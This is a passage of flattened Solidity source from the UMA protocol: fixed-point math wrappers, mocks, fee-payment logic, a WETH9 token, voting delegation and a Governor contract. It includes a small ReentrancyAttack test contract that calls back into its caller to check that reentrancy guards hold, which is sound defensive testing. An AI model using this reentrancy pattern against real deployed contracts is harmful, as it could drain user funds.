a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isGreaterThan(FixedPoint.Unsigned(b)); } function wrapIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isGreaterThanOrEqual(FixedPoint.Unsigned(b)); } function wrapMixedIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isGreaterThan(b); } function wrapMixedIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isGreaterThanOrEqual(b); } function wrapMixedIsGreaterThanOpposite(uint256 a, uint256 b) external pure returns (bool) { return a.isGreaterThan(FixedPoint.Unsigned(b)); } function wrapMixedIsGreaterThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) { return a.isGreaterThanOrEqual(FixedPoint.Unsigned(b)); } function wrapIsLessThan(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isLessThan(FixedPoint.Unsigned(b)); } function wrapIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isLessThanOrEqual(FixedPoint.Unsigned(b)); } function wrapMixedIsLessThan(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isLessThan(b); } function wrapMixedIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isLessThanOrEqual(b); } function wrapMixedIsLessThanOpposite(uint256 a, uint256 b) external pure returns (bool) { return a.isLessThan(FixedPoint.Unsigned(b)); } function wrapMixedIsLessThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) { return a.isLessThanOrEqual(FixedPoint.Unsigned(b)); } function wrapMin(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).min(FixedPoint.Unsigned(b)).rawValue; } function wrapMax(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).max(FixedPoint.Unsigned(b)).rawValue; } function wrapAdd(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).add(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedAdd(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).add(b).rawValue; } function wrapSub(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).sub(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedSub(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).sub(b).rawValue; } // The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedSubOpposite(uint256 a, uint256 b) external pure returns (uint256) { return a.sub(FixedPoint.Unsigned(b)).rawValue; } function wrapMul(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).mul(FixedPoint.Unsigned(b)).rawValue; } function wrapMulCeil(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).mulCeil(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedMul(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).mul(b).rawValue; } function wrapMixedMulCeil(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).mulCeil(b).rawValue; } function wrapDiv(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).div(FixedPoint.Unsigned(b)).rawValue; } function wrapDivCeil(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).divCeil(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedDiv(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).div(b).rawValue; } function wrapMixedDivCeil(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).divCeil(b).rawValue; } // The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedDivOpposite(uint256 a, uint256 b) external pure returns (uint256) { return a.div(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapPow(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).pow(b).rawValue; } } contract MultiRoleTest is MultiRole { function createSharedRole( uint256 roleId, uint256 managingRoleId, address[] calldata initialMembers ) external { _createSharedRole(roleId, managingRoleId, initialMembers); } function createExclusiveRole( uint256 roleId, uint256 managingRoleId, address initialMember ) external { _createExclusiveRole(roleId, managingRoleId, initialMember); } // solhint-disable-next-line no-empty-blocks function revertIfNotHoldingRole(uint256 roleId) external view onlyRoleHolder(roleId) {} } contract OneSplitMock is OneSplit { address constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; mapping(bytes32 => uint256) prices; receive() external payable {} // Sets price of 1 FROM = <PRICE> TO function setPrice( address from, address to, uint256 price ) external { prices[keccak256(abi.encodePacked(from, to))] = price; } function getExpectedReturn( address fromToken, address destToken, uint256 amount, uint256 parts, uint256 flags // See constants in IOneSplit.sol ) public override view returns (uint256 returnAmount, uint256[] memory distribution) { returnAmount = prices[keccak256(abi.encodePacked(fromToken, destToken))] * amount; return (returnAmount, distribution); } function swap( address fromToken, address destToken, uint256 amount, uint256 minReturn, uint256[] memory distribution, uint256 flags ) public override payable returns (uint256 returnAmount) { uint256 amountReturn = prices[keccak256(abi.encodePacked(fromToken, destToken))] * amount; require(amountReturn >= minReturn, "Min Amount not reached"); if (destToken == ETH_ADDRESS) { msg.sender.transfer(amountReturn); } else { require(IERC20(destToken).transfer(msg.sender, amountReturn), "erc20-send-failed"); } } } contract ReentrancyAttack { function callSender(bytes4 data) public { // solhint-disable-next-line avoid-low-level-calls (bool success, ) = msg.sender.call(abi.encodeWithSelector(data)); require(success, "ReentrancyAttack: failed call"); } } contract ReentrancyChecker { bytes public txnData; bool hasBeenCalled; // Used to prevent infinite cycles where the reentrancy is cycled forever. modifier skipIfReentered { if (hasBeenCalled) { return; } hasBeenCalled = true; _; hasBeenCalled = false; } function setTransactionData(bytes memory _txnData) public { txnData = _txnData; } function _executeCall( address to, uint256 value, bytes memory data ) private returns (bool success) { // Mostly copied from: // solhint-disable-next-line max-line-length // https://github.com/gnosis/safe-contracts/blob/59cfdaebcd8b87a0a32f87b50fead092c10d3a05/contracts/base/Executor.sol#L23-L31 // solhint-disable-next-line no-inline-assembly assembly { let inputData := add(data, 0x20) let inputDataSize := mload(data) success := call(gas(), to, value, inputData, inputDataSize, 0, 0) } } fallback() external skipIfReentered { // Attampt to re-enter with the set txnData. bool success = _executeCall(msg.sender, 0, txnData); // Fail if the call succeeds because that means the re-entrancy was successful. require(!success, "Re-entrancy was successful"); } } contract ReentrancyMock is Lockable { uint256 public counter; constructor() public { counter = 0; } function callback() external nonReentrant { _count(); } function countAndSend(ReentrancyAttack attacker) external nonReentrant { _count(); bytes4 func = bytes4(keccak256("callback()")); attacker.callSender(func); } function countAndCall(ReentrancyAttack attacker) external nonReentrant { _count(); bytes4 func = bytes4(keccak256("getCount()")); attacker.callSender(func); } function countLocalRecursive(uint256 n) public nonReentrant { if (n > 0) { _count(); countLocalRecursive(n - 1); } } function countThisRecursive(uint256 n) public nonReentrant { if (n > 0) { _count(); // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(abi.encodeWithSignature("countThisRecursive(uint256)", n - 1)); require(success, "ReentrancyMock: failed call"); } } function countLocalCall() public nonReentrant { getCount(); } function countThisCall() public nonReentrant { // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(abi.encodeWithSignature("getCount()")); require(success, "ReentrancyMock: failed call"); } function getCount() public view nonReentrantView returns (uint256) { return counter; } function _count() private { counter += 1; } } contract TestableTest is Testable { // solhint-disable-next-line no-empty-blocks constructor(address _timerAddress) public Testable(_timerAddress) {} function getTestableTimeAndBlockTime() external view returns (uint256 testableTime, uint256 blockTime) { // solhint-disable-next-line not-rely-on-time return (getCurrentTime(), now); } } contract UniswapMock is Uniswap { function setPrice(uint112 reserve0, uint112 reserve1) external { emit Sync(reserve0, reserve1); } } contract WithdrawableTest is Withdrawable { enum Roles { Governance, Withdraw } // solhint-disable-next-line no-empty-blocks constructor() public { _createExclusiveRole(uint256(Roles.Governance), uint256(Roles.Governance), msg.sender); _createWithdrawRole(uint256(Roles.Withdraw), uint256(Roles.Governance), msg.sender); } function pay() external payable { require(msg.value > 0); } function setInternalWithdrawRole(uint256 setRoleId) public { _setWithdrawRole(setRoleId); } } abstract contract FeePayer is Testable, Lockable { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using SafeERC20 for IERC20; /**************************************** * FEE PAYER DATA STRUCTURES * ****************************************/ // The collateral currency used to back the positions in this contract. IERC20 public collateralCurrency; // Finder contract used to look up addresses for UMA system contracts. FinderInterface public finder; // Tracks the last block time when the fees were paid. uint256 private lastPaymentTime; // Tracks the cumulative fees that have been paid by the contract for use by derived contracts. // The multiplier starts at 1, and is updated by computing cumulativeFeeMultiplier * (1 - effectiveFee). // Put another way, the cumulativeFeeMultiplier is (1 - effectiveFee1) * (1 - effectiveFee2) ... // For example: // The cumulativeFeeMultiplier should start at 1. // If a 1% fee is charged, the multiplier should update to .99. // If another 1% fee is charged, the multiplier should be 0.99^2 (0.9801). FixedPoint.Unsigned public cumulativeFeeMultiplier; /**************************************** * EVENTS * ****************************************/ event RegularFeesPaid(uint256 indexed regularFee, uint256 indexed lateFee); event FinalFeesPaid(uint256 indexed amount); /**************************************** * MODIFIERS * ****************************************/ // modifier that calls payRegularFees(). modifier fees { payRegularFees(); _; } /** * @notice Constructs the FeePayer contract. Called by child contracts. * @param _collateralAddress ERC20 token that is used as the underlying collateral for the synthetic. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor( address _collateralAddress, address _finderAddress, address _timerAddress ) public Testable(_timerAddress) nonReentrant() { collateralCurrency = IERC20(_collateralAddress); finder = FinderInterface(_finderAddress); lastPaymentTime = getCurrentTime(); cumulativeFeeMultiplier = FixedPoint.fromUnscaledUint(1); } /**************************************** * FEE PAYMENT FUNCTIONS * ****************************************/ /** * @notice Pays UMA DVM regular fees (as a % of the collateral pool) to the Store contract. * @dev These must be paid periodically for the life of the contract. If the contract has not paid its regular fee * in a week or more then a late penalty is applied which is sent to the caller. If the amount of * fees owed are greater than the pfc, then this will pay as much as possible from the available collateral. * An event is only fired if the fees charged are greater than 0. * @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller). * This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0. */ function payRegularFees() public nonReentrant() returns (FixedPoint.Unsigned memory totalPaid) { StoreInterface store = _getStore(); uint256 time = getCurrentTime(); FixedPoint.Unsigned memory collateralPool = _pfc(); // Exit early if there is no collateral from which to pay fees. if (collateralPool.isEqual(0)) { return totalPaid; } // Exit early if fees were already paid during this block. if (lastPaymentTime == time) { return totalPaid; } (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty) = store.computeRegularFee( lastPaymentTime, time, collateralPool ); lastPaymentTime = time; totalPaid = regularFee.add(latePenalty); if (totalPaid.isEqual(0)) { return totalPaid; } // If the effective fees paid as a % of the pfc is > 100%, then we need to reduce it and make the contract pay // as much of the fee that it can (up to 100% of its pfc). We'll reduce the late penalty first and then the // regular fee, which has the effect of paying the store first, followed by the caller if there is any fee remaining. if (totalPaid.isGreaterThan(collateralPool)) { FixedPoint.Unsigned memory deficit = totalPaid.sub(collateralPool); FixedPoint.Unsigned memory latePenaltyReduction = FixedPoint.min(latePenalty, deficit); latePenalty = latePenalty.sub(latePenaltyReduction); deficit = deficit.sub(latePenaltyReduction); regularFee = regularFee.sub(FixedPoint.min(regularFee, deficit)); totalPaid = collateralPool; } emit RegularFeesPaid(regularFee.rawValue, latePenalty.rawValue); _adjustCumulativeFeeMultiplier(totalPaid, collateralPool); if (regularFee.isGreaterThan(0)) { collateralCurrency.safeIncreaseAllowance(address(store), regularFee.rawValue); store.payOracleFeesErc20(address(collateralCurrency), regularFee); } if (latePenalty.isGreaterThan(0)) { collateralCurrency.safeTransfer(msg.sender, latePenalty.rawValue); } return totalPaid; } /** * @notice Gets the current profit from corruption for this contract in terms of the collateral currency. * @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are * expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC. * @return pfc value for equal to the current profit from corruption denominated in collateral currency. */ function pfc() public view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _pfc(); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // Pays UMA Oracle final fees of `amount` in `collateralCurrency` to the Store contract. Final fee is a flat fee // charged for each price request. If payer is the contract, adjusts internal bookkeeping variables. If payer is not // the contract, pulls in `amount` of collateral currency. function _payFinalFees(address payer, FixedPoint.Unsigned memory amount) internal { if (amount.isEqual(0)) { return; } if (payer != address(this)) { // If the payer is not the contract pull the collateral from the payer. collateralCurrency.safeTransferFrom(payer, address(this), amount.rawValue); } else { // If the payer is the contract, adjust the cumulativeFeeMultiplier to compensate. FixedPoint.Unsigned memory collateralPool = _pfc(); // The final fee must be < available collateral or the fee will be larger than 100%. require(collateralPool.isGreaterThan(amount), "Final fee is more than PfC"); _adjustCumulativeFeeMultiplier(amount, collateralPool); } emit FinalFeesPaid(amount.rawValue); StoreInterface store = _getStore(); collateralCurrency.safeIncreaseAllowance(address(store), amount.rawValue); store.payOracleFeesErc20(address(collateralCurrency), amount); } function _pfc() internal virtual view returns (FixedPoint.Unsigned memory); function _getStore() internal view returns (StoreInterface) { return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store)); } function _computeFinalFees() internal view returns (FixedPoint.Unsigned memory finalFees) { StoreInterface store = _getStore(); return store.computeFinalFee(address(collateralCurrency)); } // Returns the user's collateral minus any fees that have been subtracted since it was originally // deposited into the contract. Note: if the contract has paid fees since it was deployed, the raw // value should be larger than the returned value. function _getFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral) internal view returns (FixedPoint.Unsigned memory collateral) { return rawCollateral.mul(cumulativeFeeMultiplier); } // Converts a user-readable collateral value into a raw value that accounts for already-assessed fees. If any fees // have been taken from this contract in the past, then the raw value will be larger than the user-readable value. function _convertToRawCollateral(FixedPoint.Unsigned memory collateral) internal view returns (FixedPoint.Unsigned memory rawCollateral) { return collateral.div(cumulativeFeeMultiplier); } // Decrease rawCollateral by a fee-adjusted collateralToRemove amount. Fee adjustment scales up collateralToRemove // by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore // rawCollateral is decreased by less than expected. Because this method is usually called in conjunction with an // actual removal of collateral from this contract, return the fee-adjusted amount that the rawCollateral is // decreased by so that the caller can minimize error between collateral removed and rawCollateral debited. function _removeCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToRemove) internal returns (FixedPoint.Unsigned memory removedCollateral) { FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral); FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToRemove); rawCollateral.rawValue = rawCollateral.sub(adjustedCollateral).rawValue; removedCollateral = initialBalance.sub(_getFeeAdjustedCollateral(rawCollateral)); } // Increase rawCollateral by a fee-adjusted collateralToAdd amount. Fee adjustment scales up collateralToAdd // by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore // rawCollateral is increased by less than expected. Because this method is usually called in conjunction with an // actual addition of collateral to this contract, return the fee-adjusted amount that the rawCollateral is // increased by so that the caller can minimize error between collateral added and rawCollateral credited. // NOTE: This return value exists only for the sake of symmetry with _removeCollateral. We don't actually use it // because we are OK if more collateral is stored in the contract than is represented by rawTotalPositionCollateral. function _addCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToAdd) internal returns (FixedPoint.Unsigned memory addedCollateral) { FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral); FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToAdd); rawCollateral.rawValue = rawCollateral.add(adjustedCollateral).rawValue; addedCollateral = _getFeeAdjustedCollateral(rawCollateral).sub(initialBalance); } // Scale the cumulativeFeeMultiplier by the ratio of fees paid to the current available collateral. function _adjustCumulativeFeeMultiplier(FixedPoint.Unsigned memory amount, FixedPoint.Unsigned memory currentPfc) internal { FixedPoint.Unsigned memory effectiveFee = amount.divCeil(currentPfc); cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveFee)); } } contract TokenFactory is Lockable { /** * @notice Create a new token and return it to the caller. * @dev The caller will become the only minter and burner and the new owner capable of assigning the roles. * @param tokenName used to describe the new token. * @param tokenSymbol short ticker abbreviation of the name. Ideally < 5 chars. * @param tokenDecimals used to define the precision used in the token's numerical representation. * @return newToken an instance of the newly created token interface. */ function createToken( string calldata tokenName, string calldata tokenSymbol, uint8 tokenDecimals ) external nonReentrant() returns (ExpandedIERC20 newToken) { SyntheticToken mintableToken = new SyntheticToken(tokenName, tokenSymbol, tokenDecimals); mintableToken.addMinter(msg.sender); mintableToken.addBurner(msg.sender); mintableToken.resetOwner(msg.sender); newToken = ExpandedIERC20(address(mintableToken)); } } contract WETH9 { string public name = "Wrapped Ether"; string public symbol = "WETH"; uint8 public decimals = 18; event Approval(address indexed src, address indexed guy, uint256 wad); event Transfer(address indexed src, address indexed dst, uint256 wad); event Deposit(address indexed dst, uint256 wad); event Withdrawal(address indexed src, uint256 wad); mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; receive() external payable { deposit(); } fallback() external payable { deposit(); } function deposit() public payable { balanceOf[msg.sender] += msg.value; emit Deposit(msg.sender, msg.value); } function withdraw(uint256 wad) public { require(balanceOf[msg.sender] >= wad); balanceOf[msg.sender] -= wad; msg.sender.transfer(wad); emit Withdrawal(msg.sender, wad); } function totalSupply() public view returns (uint256) { return address(this).balance; } function approve(address guy, uint256 wad) public returns (bool) { allowance[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } function transfer(address dst, uint256 wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom( address src, address dst, uint256 wad ) public returns (bool) { require(balanceOf[src] >= wad); if (src != msg.sender && allowance[src][msg.sender] != uint256(-1)) { require(allowance[src][msg.sender] >= wad); allowance[src][msg.sender] -= wad; } balanceOf[src] -= wad; balanceOf[dst] += wad; emit Transfer(src, dst, wad); return true; } } library ExpiringMultiPartyLib { /** * @notice Returns address of new EMP deployed with given `params` configuration. * @dev Caller will need to register new EMP with the Registry to begin requesting prices. Caller is also * responsible for enforcing constraints on `params`. * @param params is a `ConstructorParams` object from ExpiringMultiParty. * @return address of the deployed ExpiringMultiParty contract */ function deploy(ExpiringMultiParty.ConstructorParams memory params) public returns (address) { ExpiringMultiParty derivative = new ExpiringMultiParty(params); return address(derivative); } } library OracleInterfaces { bytes32 public constant Oracle = "Oracle"; bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist"; bytes32 public constant Store = "Store"; bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin"; bytes32 public constant Registry = "Registry"; bytes32 public constant CollateralWhitelist = "CollateralWhitelist"; } abstract contract ContractCreator { address internal finderAddress; constructor(address _finderAddress) public { finderAddress = _finderAddress; } function _requireWhitelistedCollateral(address collateralAddress) internal view { FinderInterface finder = FinderInterface(finderAddress); AddressWhitelist collateralWhitelist = AddressWhitelist( finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist) ); require(collateralWhitelist.isOnWhitelist(collateralAddress), "Collateral not whitelisted"); } function _registerContract(address[] memory parties, address contractToRegister) internal { FinderInterface finder = FinderInterface(finderAddress); Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry)); registry.registerContract(parties, contractToRegister); } } contract DesignatedVoting is Withdrawable { /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Owner, // Can set the Voter role. Is also permanently permissioned as the minter role. Voter // Can vote through this contract. } // Reference to the UMA Finder contract, allowing Voting upgrades to be performed // without requiring any calls to this contract. FinderInterface private finder; /** * @notice Construct the DesignatedVoting contract. * @param finderAddress keeps track of all contracts within the system based on their interfaceName. * @param ownerAddress address of the owner of the DesignatedVoting contract. * @param voterAddress address to which the owner has delegated their voting power. */ constructor( address finderAddress, address ownerAddress, address voterAddress ) public { _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), ownerAddress); _createExclusiveRole(uint256(Roles.Voter), uint256(Roles.Owner), voterAddress); _setWithdrawRole(uint256(Roles.Owner)); finder = FinderInterface(finderAddress); } /**************************************** * VOTING AND REWARD FUNCTIONALITY * ****************************************/ /** * @notice Forwards a commit to Voting. * @param identifier uniquely identifies the feed for this vote. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price being voted on. * @param hash the keccak256 hash of the price you want to vote for and a random integer salt value. */ function commitVote( bytes32 identifier, uint256 time, bytes32 hash ) external onlyRoleHolder(uint256(Roles.Voter)) { _getVotingAddress().commitVote(identifier, time, hash); } /** * @notice Forwards a batch commit to Voting. * @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`. */ function batchCommit(VotingInterface.Commitment[] calldata commits) external onlyRoleHolder(uint256(Roles.Voter)) { _getVotingAddress().batchCommit(commits); } /** * @notice Forwards a reveal to Voting. * @param identifier voted on in the commit phase. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price being voted on. * @param price used along with the `salt` to produce the `hash` during the commit phase. * @param salt used along with the `price` to produce the `hash` during the commit phase. */ function revealVote( bytes32 identifier, uint256 time, int256 price, int256 salt ) external onlyRoleHolder(uint256(Roles.Voter)) { _getVotingAddress().revealVote(identifier, time, price, salt); } /** * @notice Forwards a batch reveal to Voting. * @param reveals is an array of the Reveal struct which contains an identifier, time, price and salt. */ function batchReveal(VotingInterface.Reveal[] calldata reveals) external onlyRoleHolder(uint256(Roles.Voter)) { _getVotingAddress().batchReveal(reveals); } /** * @notice Forwards a reward retrieval to Voting. * @dev Rewards are added to the tokens already held by this contract. * @param roundId defines the round from which voting rewards will be retrieved from. * @param toRetrieve an array of PendingRequests which rewards are retrieved from. * @return amount of rewards that the user should receive. */ function retrieveRewards(uint256 roundId, VotingInterface.PendingRequest[] memory toRetrieve) public onlyRoleHolder(uint256(Roles.Voter)) returns (FixedPoint.Unsigned memory) { return _getVotingAddress().retrieveRewards(address(this), roundId, toRetrieve); } function _getVotingAddress() private view returns (VotingInterface) { return VotingInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } } contract DesignatedVotingFactory is Withdrawable { /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Withdrawer // Can withdraw any ETH or ERC20 sent accidentally to this contract. } address private finder; mapping(address => DesignatedVoting) public designatedVotingContracts; /** * @notice Construct the DesignatedVotingFactory contract. * @param finderAddress keeps track of all contracts within the system based on their interfaceName. */ constructor(address finderAddress) public { finder = finderAddress; _createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Withdrawer), msg.sender); } /** * @notice Deploys a new `DesignatedVoting` contract. * @param ownerAddress defines who will own the deployed instance of the designatedVoting contract. * @return designatedVoting a new DesignatedVoting contract. */ function newDesignatedVoting(address ownerAddress) external returns (DesignatedVoting) { require(address(designatedVotingContracts[msg.sender]) == address(0), "Duplicate hot key not permitted"); DesignatedVoting designatedVoting = new DesignatedVoting(finder, ownerAddress, msg.sender); designatedVotingContracts[msg.sender] = designatedVoting; return designatedVoting; } /** * @notice Associates a `DesignatedVoting` instance with `msg.sender`. * @param designatedVotingAddress address to designate voting to. * @dev This is generally only used if the owner of a `DesignatedVoting` contract changes their `voter` * address and wants that reflected here. */ function setDesignatedVoting(address designatedVotingAddress) external { require(address(designatedVotingContracts[msg.sender]) == address(0), "Duplicate hot key not permitted"); designatedVotingContracts[msg.sender] = DesignatedVoting(designatedVotingAddress); } } contract FinancialContractsAdmin is Ownable { /** * @notice Calls emergency shutdown on the provided financial contract. * @param financialContract address of the FinancialContract to be shut down. */ function callEmergencyShutdown(address financialContract) external onlyOwner { AdministrateeInterface administratee = AdministrateeInterface(financialContract); administratee.emergencyShutdown(); } /** * @notice Calls remargin on the provided financial contract. * @param financialContract address of the FinancialContract to be remargined. */ function callRemargin(address financialContract) external onlyOwner { AdministrateeInterface administratee = AdministrateeInterface(financialContract); administratee.remargin(); } } contract Governor is MultiRole, Testable { using SafeMath for uint256; using Address for address; /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Owner, // Can set the proposer. Proposer // Address that can make proposals. } struct Transaction { address to; uint256 value; bytes data; } struct Proposal { Transaction[] transactions; uint256 requestTime; } FinderInterface private finder; Proposal[] public proposals; /**************************************** * EVENTS * ****************************************/ // Emitted when a new proposal is created. event NewProposal(uint256 indexed id, Transaction[] transactions); // Emitted when an existing proposal is executed. event ProposalExecuted(uint256 indexed id, uint256 transactionIndex); /** * @notice Construct the Governor contract. * @param _finderAddress keeps track of all contracts within the system based on their interfaceName. * @param _startingId the initial proposal id that the contract will begin incrementing from. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor( address _finderAddress, uint256 _startingId, address _timerAddress ) public Testable(_timerAddress) { finder = FinderInterface(_finderAddress); _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender); _createExclusiveRole(uint256(Roles.Proposer), uint256(Roles.Owner), msg.sender); // Ensure the startingId is not set unreasonably high to avoid it being set such that new proposals overwrite // other storage slots in the contract. uint256 maxStartingId = 10**18; require(_startingId <= maxStartingId, "Cannot set startingId larger than 10^18"); // This just sets the initial length of the array to the startingId since modifying length directly has been // disallowed in solidity 0.6. assembly { sstore(proposals_slot, _startingId) } } /**************************************** * PROPOSAL ACTIONS * ****************************************/ /** * @notice Proposes a new governance action. Can only be called by the holder of the Proposer role. * @param transactions list of transactions that are being proposed. * @dev You can create the data portion of each transaction by doing the following: * ``` * const truffleContractInstance = await TruffleContract.deployed() * const data = truffleContractInstance.methods.methodToCall(arg1, arg2).encodeABI() * ``` * Note: this method must be public because of a solidity limitation that * disallows structs arrays to be passed to external functions. */ function propose(Transaction[] memory transactions) public onlyRoleHolder(uint256(Roles.Proposer)) { uint256 id = proposals.length; uint256 time = getCurrentTime(); // Note: doing all of this array manipulation manually is necessary because directly setting an array of // structs in storage to an an array of structs in memory is currently not implemented in solidity :/. // Add a zero-initialized element to the proposals array. proposals.push(); // Initialize the new proposal. Proposal storage proposal = proposals[id]; proposal.requestTime = time; // Initialize the transaction array. for (uint256 i = 0; i < transactions.length; i++) { require(transactions[i].to != address(0), "The `to` address cannot be 0x0"); // If the transaction has any data with it the recipient must be a contract, not an EOA. if (transactions[i].data.length > 0) { require(transactions[i].to.isContract(), "EOA can't accept tx with data"); } proposal.transactions.push(transactions[i]); } bytes32 identifier = _constructIdentifier(id); // Request a vote on this proposal in the DVM. OracleInterface oracle = _getOracle(); IdentifierWhitelistInterface supportedIdentifiers = _getIdentifierWhitelist(); supportedIdentifiers.addSupportedIdentifier(identifier); oracle.requestPrice(identifier, time); supportedIdentifiers.removeSupportedIdentifier(identifier); emit NewProposal(id, transactions); } /** * @notice Executes a proposed governance action that has been approved by voters. * @dev This can be called by any address. Caller is expected to send enough ETH to execute payable transactions. * @param id unique id for the executed proposal. * @param transactionIndex unique transaction index for the executed proposal. */ function executeProposal(uint256 id, uint256 transactionIndex) external payable { Proposal storage proposal = proposals[id]; int256 price = _getOracle().getPrice(_constructIdentifier(id), proposal.requestTime); Transaction memory transaction = proposal.transactions[transactionIndex]; require( transactionIndex == 0 || proposal.transactions[transactionIndex.sub(1)].to == address(0), "Previous tx not yet executed" ); require(transaction.to != address(0), "Tx already executed"); require(price != 0, "Proposal was rejected"); require(msg.value == transaction.value, "Must send exact amount of ETH"); // Delete the transaction before execution to avoid any potential re-entrancy issues. delete proposal.transactions[transactionIndex]; require(_executeCall(transaction.to, transaction.value, transaction.data), "Tx execution failed"); emit ProposalExecuted(id, transactionIndex); } /**************************************** * GOVERNOR STATE GETTERS * ****************************************/ /** * @notice Gets the total number of proposals (includes executed and non-executed). * @return uint256 representing the current number of proposals. */ function numProposals() external view returns (uint256) { return proposals.length; } /** * @notice Gets the proposal data for a particular id. * @dev after a proposal is executed, its data will be zeroed out, except for the request time. * @param id uniquely identify the identity of the proposal. * @return proposal struct containing transactions[] and requestTime. */ function getProposal(uint256 id) external view returns (Proposal memory) { return proposals[id]; } /**************************************** * PRIVATE GETTERS AND FUNCTIONS * ****************************************/ function _executeCall( address to, uint256 value, bytes memory data ) private returns (bool) { // Mostly copied from: // solhint-disable-next-line max-line-length // https://github.com/gnosis/safe-contracts/blob/59cfdaebcd8b87a0a32f87b50fead092c10d3a05/contracts/base/Executor.sol#L23-L31 // solhint-disable-next-line no-inline-assembly bool success; assembly { let inputData := add(data, 0x20) let inputDataSize := mload(data) success := call(gas(), to, value, inputData, inputDataSize, 0, 0) } return success; } function _getOracle() private view returns (OracleInterface) { return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } // Returns a UTF-8 identifier representing a particular admin proposal. // 